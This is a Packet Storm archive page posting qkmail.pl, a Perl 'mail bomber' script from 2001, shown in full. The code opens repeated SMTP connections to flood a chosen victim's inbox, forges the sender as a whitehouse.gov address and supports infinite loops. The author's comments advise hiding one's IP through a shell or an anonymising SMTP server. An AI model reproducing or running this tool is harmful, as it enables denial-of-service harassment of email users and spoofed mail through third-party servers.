what you don't know can hurt you

qkmail.pl

qkmail.pl
Posted Aug 29, 2001
Authored by Cynic | Site v0hun.f2s.com

Qkmail.pl is a perl mail bomber for windows.

tags | denial of service, perl
systems | windows
MD5 | 8d9c37068127fd7270421b72fa247126

qkmail.pl

Change Mirror Download
# -----------------------------------------------------=
# Made by CyNiC from irc.xchat.nl =
# This stuff sends 80-90 e-mails a minute. =
# If you have a faster smtp server, maybe 100 a minute.=
# smtp.cablewanadoo.nl works good so you can use that. =
# 1 thing, It does NOT hide your IP so use a shell or =
# a smtp that hides your IP address =
# -----------------------------------------------------=
# Greets go out to V0hun, who "supported" me with pics =
# of his chick Melissa. and Syndr0me =
# Of course I greet the rest of the peepz from xchat.nl=
# -----------------------------------------------------=
# [for dutch people: Ikmagjouniet.nl variant gemaakt =
# door V0hun :) werkt perfect hehe =
# http://www.v0hun.f2s.com/meel.php?action=view ] =
# -----------------------------------------------------=
# Mailbombing is lame so at least TRY not to use it
# (enter -1 as loop argument for infinte loops hehe)
# THIS WORKS ON WINDOWS (sorry :)



use IO::Socket;

if ($#ARGV<2)
{
print"
xx xx XXXX XX XX XXX XXXXXX
xx xx XX XX XX XX XX XX
xx xx XX XX XX XX XX XX
xx XX XXxxXX XX___XX XX
xx xx XX XX XX XX XX XX
xx xx XX XX XX XX XX XX
xx xx XXXX XX XX XX XX XX
IRC.XCHAT.NL
MailBomb project by CyNiC.\n";
print "usage:$0 <mailhost> <target> <times>\n";
print " expl:$0 smtp.cablewanadoo.nl victim\@victim.nl 100000\n";
exit 0;
}
$cloop = $ARGV[2];

for (;;)
{
$loop = $ARGV[2]-- ;
if ($loop==0)
{
die "\nDone $cloop mails, quitting...\n";
}
print "$loop/";
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV[0]" }
print $connect "helo wanadoo.nl\n";
print $connect "mail from: George.W.Bush\@whitehouse.gov\n";
print $connect "rcpt to: $ARGV[1]\n";
print $connect "data\n";
$msg = &msg;
print $connect "$msg\n";
print $connect "quit\n";
close ($connect);
}

sub msg {
$a = "Visit irc.xchat.nl"; # this is the message, you can always edit this
(@alfa) = split(/,/,$a);
# in the message you want.
$messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97
13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12
Oct 97 11:30:27\nSubject: Try to save
yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n";
$messa
}



Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close